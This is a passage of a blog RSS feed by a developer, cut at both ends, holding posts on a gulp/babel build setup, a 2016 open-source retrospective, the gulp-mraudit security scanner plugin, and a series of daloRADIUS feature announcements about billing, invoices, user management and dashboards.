&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;pipe&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(gulp.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;dest&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;build&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;));  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The gulp configuration is pretty straightfoward, we defined a task called &lt;code&gt;compile&lt;/code&gt; that when run it will:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;process all the &lt;code&gt;_.js_&lt;/code&gt; files in the &lt;code&gt;_lib_&lt;/code&gt; directory&lt;/li&gt;
&lt;li&gt;pipe all the javascript files to babel and tell babel to compile it with the ES6 support&lt;/li&gt;
&lt;li&gt;save all the files in the &lt;code&gt;_build_&lt;/code&gt; directory&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;thats-it&quot;&gt;That’s it!&lt;/h3&gt;
&lt;p&gt;You can now write ES6 in all of your source code files in the &lt;code&gt;_lib_&lt;/code&gt; directory, and once you run &lt;code&gt;_gulp compile_&lt;/code&gt; outside in the main project directory everything will be compiled into &lt;code&gt;_build_&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You might want to change the gulp configuration to accommodate your project’s sources, directories, etc. Might also want to add gulp into your &lt;code&gt;_package.json_&lt;/code&gt; scripts and build process.&lt;/p&gt;</content:encoded></item><item><title>A Year of Open Source (2016)</title><link>https://lirantal.com/blog/a-year-of-open-source-2016-5886b0535286/</link><guid>https://lirantal.com/blog/a-year-of-open-source-2016-5886b0535286/</guid><description>We recently celebrated Rosh Hashana, which is the Jewish New Year, so obviously a lot of self examination which translate to us engineers…</description><pubDate>Tue, 01 Nov 2016 15:38:03 GMT</pubDate><content:encoded>&lt;p&gt;We recently celebrated &lt;a href=&quot;http://en.wikipedia.org/wiki/Rosh_Hashanah&quot;&gt;Rosh Hashana&lt;/a&gt;, which is the Jewish New Year, so obviously a lot of self examination which translate to us engineers as a Retrospective.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__QeqR3twYbvCVdpea.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This year has been yet another wonderful engagement with open source communities for me. So many new technologies, and many more repositories that I contributed to and new projects I started.&lt;/p&gt;
&lt;p&gt;Here are some highlights of this year for me:&lt;/p&gt;
&lt;h3 id=&quot;speaking&quot;&gt;Speaking&lt;/h3&gt;
&lt;p&gt;Public speaking isn’t natural to me since I’m a classic introvert, but lucky for me we have &lt;a href=&quot;http://twitter.com/morad&quot;&gt;Morad Stern&lt;/a&gt; in HPE, who manages the developer communities, and supported me to take this step.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__Krmd4TFBrFDARfgK4HEyyA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.hellojs.org/liran-tal-talks-about-the-rise-of-open-source-mean-stack-in-enterprise-b9cf0e242f9d&quot; title=&quot;https://blog.hellojs.org/liran-tal-talks-about-the-rise-of-open-source-mean-stack-in-enterprise-b9cf0e242f9d&quot;&gt;&lt;strong&gt;Liran Tal talks about the Rise of Open Source &amp;#x26; MEAN Stack in Enterprise at #helloJS&lt;/strong&gt;&lt;br&gt;
_Liran, man, you were incredible at helloJS!_blog.hellojs.org&lt;/a&gt;&lt;a href=&quot;https://blog.hellojs.org/liran-tal-talks-about-the-rise-of-open-source-mean-stack-in-enterprise-b9cf0e242f9d&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The previous year I did local meetups but this year was &lt;strong&gt;exceptional in order of magnitude:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The amazing &lt;a href=&quot;https://twitter.com/aelythe&quot;&gt;Paul Brie&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/amaliatweets&quot;&gt;Amalia Pomian&lt;/a&gt; invited me to speak about &lt;a href=&quot;http://www.slideshare.net/LiranTal1/open-source-and-the-mean-stack&quot;&gt;Open Source and the JavaScript MEAN Stack&lt;/a&gt; in &lt;a href=&quot;http://hellojs.org/&quot;&gt;hello.js&lt;/a&gt; conference that turned out to host an overwhelming 300 participants. I made a lot of great friends and was immediately hooked to the vibe and attitude of the Cluj people in Romania.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/morad&quot;&gt;Morad&lt;/a&gt; landed GitHub own heroes &lt;a href=&quot;http://twitter.com/newmerator&quot;&gt;David Newman&lt;/a&gt; and &lt;a href=&quot;http://twitter.com/azizshamim&quot;&gt;Aziz Shamim&lt;/a&gt; for a hosted public GitHub Day event where I was speaking on similar topics.&lt;/li&gt;
&lt;li&gt;With a lot of respect to the security community in Israel, I was also invited to speak at &lt;a href=&quot;http://appsecil2016.sched.org/&quot;&gt;OWASP AppSec&lt;/a&gt; about &lt;a href=&quot;http://www.slideshare.net/LiranTal1/nodejs-security-done-right-tips-and-tricks-they-wont-teach-you-in-school&quot;&gt;Node.js Security&lt;/a&gt; with a great crowed and much interest in the hands-on session.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I can’t stress enough how important it is to take part in speaking at meetups and conferences. It’s an amazing experience to spread the knowledge and connect about many ideas with other speakers.&lt;/p&gt;
&lt;p&gt;As Nike say, &lt;strong&gt;Just do it&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__wKFhVBmo7E1AHtJ6.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;open-sourcefun&quot;&gt;Open Source Fun&lt;/h3&gt;
&lt;p&gt;I’ve been in love with open source since my early youth. The community, the people, the openness and collaboration is magical.&lt;/p&gt;
&lt;p&gt;Stressing another important topic — the value of side projects and contribution to open source.&lt;/p&gt;
&lt;h3 id=&quot;meanjs&quot;&gt;MEAN.JS&lt;/h3&gt;
&lt;p&gt;Those whom are following me know that I’m passionately maintaining the wonderful and lean &lt;a href=&quot;http://github.com/meanjs/mean&quot;&gt;MEAN.JS&lt;/a&gt; framework. This year we’ve done so much, such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The release of MEAN.JS 0.5.0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Closing hundreds&lt;/strong&gt; of PRs and Issues (some were much outdated)&lt;/li&gt;
&lt;li&gt;All dependencies are up to date and secure with &lt;a href=&quot;http://snyk.io/&quot;&gt;Snyk.io&lt;/a&gt; reporting zero vulnerabilities and Bithound scores 91 for dependency analysis.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;security&quot;&gt;Security&lt;/h3&gt;
&lt;p&gt;In this yearly OWASP &lt;a href=&quot;http://appsecil2016.sched.org/&quot;&gt;AppSec IL 2016&lt;/a&gt; I spoke about &lt;a href=&quot;http://www.slideshare.net/LiranTal1/nodejs-security-done-right-tips-and-tricks-they-wont-teach-you-in-school&quot;&gt;Node.js Security&lt;/a&gt; with live demo and many accompanying source code and documentation on how to get it right for Node.js web developers.&lt;/p&gt;
&lt;p&gt;I also created &lt;a href=&quot;http://github.com/lirantal/gulp-mraudit&quot;&gt;gulp-mraudit&lt;/a&gt; which is a small gulp plugin to scan your project for insecure source code and alert when best practices aren’t taken into account. It mainly conveys the importance of security as part of your CI process.&lt;/p&gt;
&lt;h3 id=&quot;es5-babelwebpack&quot;&gt;ES5, Babel, Webpack&lt;/h3&gt;
&lt;p&gt;Today’s JavaScript ecosystem heavily relies on many frameworks and tools to package web, mobile and desktop applications.&lt;/p&gt;
&lt;p&gt;I took the plunge to keep up just like everyone else. It’s much more fun when you practically use them in real world projects so:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I joined up Deepak to update and migrate to ES5 his &lt;a href=&quot;http://github.com/fagbokforlaget/pdftotextjs&quot;&gt;PDF-To-Text&lt;/a&gt; Node.js library.&lt;/li&gt;
&lt;li&gt;Writing a few articles (stay tuned!)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;angular2&quot;&gt;Angular2&lt;/h3&gt;
&lt;p&gt;Angular2 was officially released (finally! phew).&lt;/p&gt;
&lt;p&gt;If you plan on also keeping up with that I recommend going for the &lt;a href=&quot;http://github.com/angular/angular-cli&quot;&gt;angular-cli&lt;/a&gt; generator project as it is kept up to date with Angular2 best practices, project structure, and general updates.&lt;/p&gt;
&lt;p&gt;My recent fun Angular2 projects:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://lirantal.github.io/cron-quartz-web/&quot;&gt;CRON Quartz Web&lt;/a&gt; — it’s a web based conversion utility that is based on my &lt;a href=&quot;http://github.com/lirantal/cron-quartz-web&quot;&gt;cron-to-quartz&lt;/a&gt; Node.js package.&lt;/li&gt;
&lt;li&gt;AtomBundles — Not yet live, but it’s my next upcoming web project for easily picking up a collection of Atom packages for your favorite programming platorm. How cool is that? So help me out with PRs: &lt;a href=&quot;http://github.com/lirantal/atombundles&quot;&gt;https://github.com/lirantal/atombundles&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;daloradius&quot;&gt;daloRADIUS&lt;/h3&gt;
&lt;p&gt;You would think that a project I built a decade ago for managing WiFi Hotspots, and FreeRADIUS would be obsolete by now but this is hardly the case.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;http://daloradius.com/&quot;&gt;daloRADIUS&lt;/a&gt; community is still kicking with over a weekly 1300 downloads and a &lt;strong&gt;total of ~350,000 downloads&lt;/strong&gt; of this niche piece of web software I wrote when I just started out taking the web seriously.&lt;/p&gt;
&lt;p&gt;I now manage the project source code in GitHub and there has been some reviving recent activity there:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PHP 7 support for daloRADIUS.&lt;/li&gt;
&lt;li&gt;Docker-based image for quickly getting up and running.&lt;/li&gt;
&lt;li&gt;Security, and bug fixes contributed by other community members.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;in-summary&quot;&gt;In Summary&lt;/h3&gt;
&lt;p&gt;The list is too long to list everything but this year has been nothing short of pure open source and technology awesomeness for me.&lt;/p&gt;
&lt;p&gt;I am planning on closing 2016 with some great upcoming projects so stay tuned!&lt;/p&gt;</content:encoded></item><item><title>Innovating Open Source by building on the giants of others</title><link>https://lirantal.com/blog/innovating-open-source-by-building-on-the-giants-of-others-cf0a6e16ef54/</link><guid>https://lirantal.com/blog/innovating-open-source-by-building-on-the-giants-of-others-cf0a6e16ef54/</guid><description>We often find ourselves creating a new libraries, tools, and some times frameworks and bigger projects. When you end up releasing those…</description><pubDate>Mon, 26 Sep 2016 14:57:18 GMT</pubDate><content:encoded>&lt;p&gt;We often find ourselves creating a new libraries, tools, and some times frameworks and bigger projects. When you end up releasing those works as Open Source you get my appreciation and love, if you don’t, I’ll end up hunting you and make you memorize &lt;a href=&quot;https://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar&quot;&gt;The Cathedral and the Bazaar&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I had recently started working on a Security-based static code analysis tool that you can easily plug-in to your Gulp build process.&lt;/p&gt;
&lt;p&gt;Static Code Analysis (SCA) is just like using your JavaScript linting tools but to check secure code guidelines and insecure code.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__EicJ7__8aKVSBL4jFD4No2Q.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;To build this tool I could just write this Gulp plugin from scratch that scans a provided glob pattern and does a simple string or regular expression matching. Simple, right?&lt;/p&gt;
&lt;p&gt;That may seem tempting, but if you’re familiar with Gulp then you probably know that it is often associated with Linux’s philosophy for command line tools — many tiny tools, each does a very focused task, and together they are put to a solve a bigger task.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__POH9uqCDz07lehikTx8G6w.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The same is with Gulp, it pipes input into one function, and that function pipes it’s output to another, this way many gulp plugins can be used together to build a more complex flow.&lt;/p&gt;
&lt;p&gt;Keeping up with this philosophy I wrote Mr Audit, a security-oriented SCA tool which extends and builds on a more popular and well tested plugin: &lt;a href=&quot;https://github.com/callumacrae/gulp-contains&quot;&gt;gulp-contains&lt;/a&gt;, which as you can tell the entire job for that plugin is to match text contents with files.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__4l46OgO78qtXEQZpSCCN__w.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Things are actually pretty simple, and it very much boils down to the following code if you want to extend a gulp plugin with your own implementation:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__KAEUTRE2swBEaaVsdR3Rcg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The above snippet has been simplified but it conveys the paradigm of extending other great tools.&lt;/p&gt;
&lt;p&gt;Go ahead and share with me some of the great plugins you’ve used with Gulp, or ideas you have to improve the build process.&lt;/p&gt;
&lt;p&gt;You’re also welcome to join and help out with this Gulp plugin at: &lt;a href=&quot;http://github.com/lirantal/gulp-mraudit&quot;&gt;https://github.com/lirantal/gulp-mraudit&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>New billing invoices improvements coming to daloRADIUS</title><link>https://lirantal.com/blog/2010-11-05/</link><guid>https://lirantal.com/blog/2010-11-05/</guid><description>Updated invoice management and reporting</description><pubDate>Fri, 05 Nov 2010 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We’ve fixed some issues in Invoices management as well as added an Invoices Report page to list and filter the invoices database, as well as generating a CSV export for the displayed invoice list.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703104325im_/http://www.daloradius.com/images/screenshots/new_feature-invoices.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS introduces further billing improvements with invoices and payments</title><link>https://lirantal.com/blog/2010-06-14/</link><guid>https://lirantal.com/blog/2010-06-14/</guid><description>About changes coming to user_id and userbillinfo table for daloRADIUS and FreeRADIUS</description><pubDate>Mon, 14 Jun 2010 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Further improvements to the billing area include support for creating and managing &lt;strong&gt;Invoices&lt;/strong&gt; and &lt;strong&gt;Payments&lt;/strong&gt; for users.&lt;/p&gt;
&lt;p&gt;On a special dev note – since FreeRADIUS doesn’t manage users as true user entities and there’s no &lt;code&gt;user_id&lt;/code&gt; involved, then the payments and invoices are based on the &lt;code&gt;user_id&lt;/code&gt; which is the id of the user in the &lt;code&gt;userbillinfo&lt;/code&gt; table, hence it’s important to understand that every user related to billing must have an entry in &lt;code&gt;userbillinfo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here are some screenshots:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703100134im_/http://www.daloradius.com/images/screenshots/new_feature_invoice-edit.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;More&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703100134im_/http://www.daloradius.com/images/screenshots/new_feature_invoice-listing.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;More&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703100134im_/http://www.daloradius.com/images/screenshots/new_feature_payment-new.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;And last&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703100134im_/http://www.daloradius.com/images/screenshots/new_feature_user-billing-overview.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is ofcourse only available still in the SVN so you’ll need to check out the latest repository copy as well as fiddle a bit with the latest migration &lt;code&gt;.sql&lt;/code&gt; script to import and setup the relevant database tables and access permissions.&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS heartbeat Dashboard</title><link>https://lirantal.com/blog/2010-05-11/</link><guid>https://lirantal.com/blog/2010-05-11/</guid><description>Monitor daloRADIUS instances from routers, NAS, etc</description><pubDate>Tue, 11 May 2010 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Still in the works but you can have a peep look at something new we’re also working on – heartbeat dashboard which is familiar to some from the Mesh dashboards projects out there.&lt;/p&gt;
&lt;p&gt;To those who aren’t familiar the idea is – a way to monitor information about a NAS (whether it’s running &lt;code&gt;OpenWRT&lt;/code&gt;, &lt;code&gt;DD-WRT&lt;/code&gt;, Ubiquity or other &lt;code&gt;firmware&lt;/code&gt;s) without having to deploy complex monitoring systems nor without having to configure possibly complex firewall and routing rules.&lt;/p&gt;
&lt;p&gt;It works by deploying a script on the NAS which contacts the daloRADIUS web server.&lt;/p&gt;
&lt;p&gt;Here is how it looks, still in development:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703110254im_/http://www.daloradius.com/images/screenshots/hearbeat-dashboard.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS operators handling change</title><link>https://lirantal.com/blog/2010-05-09/</link><guid>https://lirantal.com/blog/2010-05-09/</guid><description>RBAC, ACLs, operators, groups, and other access control related changes in daloRADIUS</description><pubDate>Sun, 09 May 2010 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We’ve introduced a change in the db schema to allow a more flexible management of the ACLs (access lists) an operator has.&lt;/p&gt;
&lt;p&gt;The change has already been pushed into SVN a while back and requires to remove the current operators table and replace it with a new one and additional tables as well.&lt;/p&gt;
&lt;p&gt;Here is how the new operators ACL page looks like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703103035im_/http://www.daloradius.com/images/screenshots/new-feature_operators-acl-schema-change.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS Users Portal changes</title><link>https://lirantal.com/blog/2010-05-09_-_users_portal_daloradius/</link><guid>https://lirantal.com/blog/2010-05-09_-_users_portal_daloradius/</guid><description>Users portal login changes related to authentication</description><pubDate>Sun, 09 May 2010 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The old way of users to authenticate to the users portal by checking against their set password in the &lt;code&gt;radcheck&lt;/code&gt; table is deprecated (which is not good for &lt;code&gt;pin-cards&lt;/code&gt; or &lt;code&gt;mac-based&lt;/code&gt; users since the &lt;code&gt;auth-type&lt;/code&gt; would be accept instead of a password attribute).&lt;/p&gt;
&lt;p&gt;The new is that you set for the user a password and toggle whether the user is permitted to login or not (and possibly also to update his contact settings)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703115537im_/http://www.daloradius.com/images/screenshots/new_feature-users_portal_login.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS PDF Invoices</title><link>https://lirantal.com/blog/2010-05-06/</link><guid>https://lirantal.com/blog/2010-05-06/</guid><description>Using dompdf to generate PDF invoices for daloRADIUS billing</description><pubDate>Thu, 06 May 2010 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Starting out with something new in the area of billing and such – Invoices support.&lt;/p&gt;
&lt;p&gt;While this is really just the start, not sure if to name it invoice, report or whatever but we’re starting out and added the PDF notifications as we’ll call them now in 2 places:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Welcome notification – PDF notification emailed to the user upon creation&lt;/li&gt;
&lt;li&gt;Invoice/Report – currently implemented only for batch creations (and can be seen in the screenshot below)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140621235034im_/http://www.daloradius.com/images/screenshots/new_feature-pdf_invoices.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;We’re making use of the open source pdf library called &lt;code&gt;dompdf&lt;/code&gt; which also allows easy templating of these pdf generated documents,&lt;br&gt;
whether it’s the logo, left and right placements at the top, and HTML markup to create the actual document.&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS New Batch Users Management</title><link>https://lirantal.com/blog/2010-05-05/</link><guid>https://lirantal.com/blog/2010-05-05/</guid><description>Bulk user import and other management actions in daloRADIUS web UI</description><pubDate>Wed, 05 May 2010 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A really cool new addition to daloRADIUS’s batch system is the ability to track batch history and associate batch users you create with to a specific batch session and hotspot. Allowing more control over these users and much more data out of it:&lt;/p&gt;
&lt;p&gt;Reports based on the batch sessions, active users of an entire batch made out, etc…&lt;/p&gt;
&lt;p&gt;Take a look:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703173406im_/http://www.daloradius.com/images/screenshots/new_feature-batch-add-users.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;As you can see in the image above:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Batch Users has now moved into it’s own page space called ‘Batch Users’ (how surprising!)&lt;/li&gt;
&lt;li&gt;You now need to specify a batch id/name (it’s just a friendly name to identify the batch)&lt;br&gt;
as well as some other data such as a description and also associating these batch of users with a hotspot (great for&lt;br&gt;
taking out statistics later on!)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703173406im_/http://www.daloradius.com/images/screenshots/new_feature-batch-history-reports.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;As can be seen in this screenshot I’ve also got some reports pages related to batch users added.&lt;br&gt;
If you dive into the batch details by entering a batch id/name then you can also get more information like listing the active users of this batch (or getting an exported CSV of it) as well as downloading an invoice computed from this batch or straight emailing it to the business (if this batch is associated with a hotspot)&lt;/p&gt;
&lt;p&gt;And more cool stuff to come :-)&lt;/p&gt;</content:encoded></item><item><title>FreeRADIUS sample config files</title><link>https://lirantal.com/blog/2010-05-05_-_freeradius_sample_config/</link><guid>https://lirantal.com/blog/2010-05-05_-_freeradius_sample_config/</guid><description>get your freeradius and raddb configuration files ready to go</description><pubDate>Wed, 05 May 2010 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Took care of organizing the configuration files for &lt;code&gt;freeradius&lt;/code&gt; 1 and added ready-to-use config files for &lt;code&gt;freeradius&lt;/code&gt; 2 as well.&lt;/p&gt;
&lt;p&gt;Take a look into &lt;code&gt;contrib/configs/&lt;/code&gt; and you’ll see the &lt;code&gt;freeradius&lt;/code&gt; versions categroized into directories, inside you should find a directory listing with possible configurations, since we currently have just one version of it then that should be cfg1/ and inside that the &lt;code&gt;freeradius/&lt;/code&gt; or &lt;code&gt;raddb/&lt;/code&gt; directories as appropriate for &lt;code&gt;freeradius&lt;/code&gt; 1 and 2.&lt;/p&gt;</content:encoded></item><item><title>HuntGroups control from daloRADIUS</title><link>https://lirantal.com/blog/2010-05-05_-_daloradius_huntgroups/</link><guid>https://lirantal.com/blog/2010-05-05_-_daloradius_huntgroups/</guid><description>open source contribution from Filippo Maria Del Prete adds HuntGroups control to daloRADIUS</description><pubDate>Wed, 05 May 2010 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Thanks to  Filippo Maria Del Prete&lt;/p&gt;
&lt;p&gt;we added some pages to manage &lt;code&gt;huntgroups&lt;/code&gt; (based on &lt;code&gt;FreeRADIUS&lt;/code&gt; v2 schema)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703153549im_/http://daloradius.com/images/screenshots/new_feature-huntgroup-management.png&quot; alt=&quot;HuntGroups&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS new feature: Import CSV Users</title><link>https://lirantal.com/blog/2010-05-05_-_daloradius_import/</link><guid>https://lirantal.com/blog/2010-05-05_-_daloradius_import/</guid><description>Auth-type based users import from CSV</description><pubDate>Wed, 05 May 2010 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;About 8 months ago we added a feature option to the &lt;code&gt;Management -&gt; Users pages&lt;/code&gt; to allow importing of users in the format of CSV (easy exporting from excel if you already manage it with that and a common method in general).&lt;/p&gt;
&lt;p&gt;When importing users, you may force associating them with a &lt;code&gt;Profile&lt;/code&gt; (group) and a &lt;code&gt;Plan&lt;/code&gt;. Moreover it’s possible to mark these users as mac-based users so an &lt;code&gt;Auth-Type := Accept&lt;/code&gt; attribute is automatically added.&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS new feature: accounting plans usage</title><link>https://lirantal.com/blog/2009-07-04/</link><guid>https://lirantal.com/blog/2009-07-04/</guid><description>Track accounting plans usage for your users with daloRADIUS</description><pubDate>Sat, 04 Jul 2009 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Added an accounting page to list user’s plans usage. Given a plan of time-based characteristics the page will list the user’s time usage for this plan as well as total traffic used. This obviously applies only to users with plans associated with.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703133739im_/http://www.daloradius.com/images/screenshots/new_feature-accounting-plans-usage.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS new feature: Graphs include Megabytes/Gigabytes view</title><link>https://lirantal.com/blog/2009-07-04_-_graphs_with_daloradius/</link><guid>https://lirantal.com/blog/2009-07-04_-_graphs_with_daloradius/</guid><description>Updates to graphs and charting in daloRADIUS</description><pubDate>Sat, 04 Jul 2009 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Added a select option to view graphs in measures of Megabytes or Gigabytes:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703171332im_/http://www.daloradius.com/images/screenshots/new_feature-graphs-size.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS 0.9-8</title><link>https://lirantal.com/blog/2009-02-01/</link><guid>https://lirantal.com/blog/2009-02-01/</guid><description>A new release of daloRADIUS is out with many new features and bug fixes</description><pubDate>Sun, 01 Feb 2009 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;daloRADIUS 0.9-8 has been released officially released on December 27th, 2008.&lt;/p&gt;
&lt;p&gt;Major highlites in this release include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;added languages support – &lt;strong&gt;Italian and Hungarian&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;added support for username filter in Online Users and Last Connected Users pages&lt;/li&gt;
&lt;li&gt;added duplicate profiles menu option&lt;/li&gt;
&lt;li&gt;added  &lt;strong&gt;Subscription Analysis&lt;/strong&gt;  information in Edit User page&lt;/li&gt;
&lt;li&gt;added user status flags&lt;/li&gt;
&lt;li&gt;added sample  &lt;strong&gt;captive portal pages&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;added paypal sign-up page with complete provisioning in daloRADIUS&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;added support to manage multi database locations&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;added and revamped billing pages – rates, paypal transactions and billing plans&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;added update interface for the database&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;added dictionary.wimax&lt;/li&gt;
&lt;li&gt;improved reports log pages, last connection pages, tooltip support and group handling in Edit User pages&lt;/li&gt;
&lt;li&gt;fixed many bugs and CSS layout&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>daloRADIUS new feature: PayPal Transactions Billing</title><link>https://lirantal.com/blog/2008-11-01/</link><guid>https://lirantal.com/blog/2008-11-01/</guid><description>The new locations feature in daloRADIUS allows you to configure multiple databases for your radius server.</description><pubDate>Sat, 01 Nov 2008 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;After adding customized Self Sign-up portals for PayPal as well as free, it’s time to add some support for reporting PayPal transactions happening for your Hotspot, isn’t it? :-)&lt;/p&gt;
&lt;p&gt;Well then, here we go, we got some billing functionality added to this heavily growing platform called daloRADIUS and now you can add to your Hotspot a PayPal Self Sign-up page and track transactions made to your Hotspot easily!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703105912im_/http://www.daloradius.com/images/screenshots/new_feature-paypal-transactions.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS new feature: locations</title><link>https://lirantal.com/blog/2008-10-23/</link><guid>https://lirantal.com/blog/2008-10-23/</guid><description>The new locations feature in daloRADIUS allows you to configure multiple databases for your radius server.</description><pubDate>Thu, 23 Oct 2008 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I’ve been pushing in something new… it’s called Locations support.&lt;br&gt;
The problem which adding Locations support targeted to solve is the issue which you may have several databases for your &lt;code&gt;freeradius&lt;/code&gt; server (for example you’re hosting services for someone else or you would like to have multiple instances of a radius database for different hotspot locations) and you don’t want to install daloRADIUS platform (the web files) for each database (this is because the database information is statically configured one-time in a configuration file).&lt;/p&gt;
&lt;p&gt;Hence, Locations are simply several configuration options for the available mysql databases on top of the must have default one.&lt;br&gt;
To remind you, to configure your database connections for a mysql database where you radius server is stored you are setting the following options in library/daloradius.conf:&lt;/p&gt;
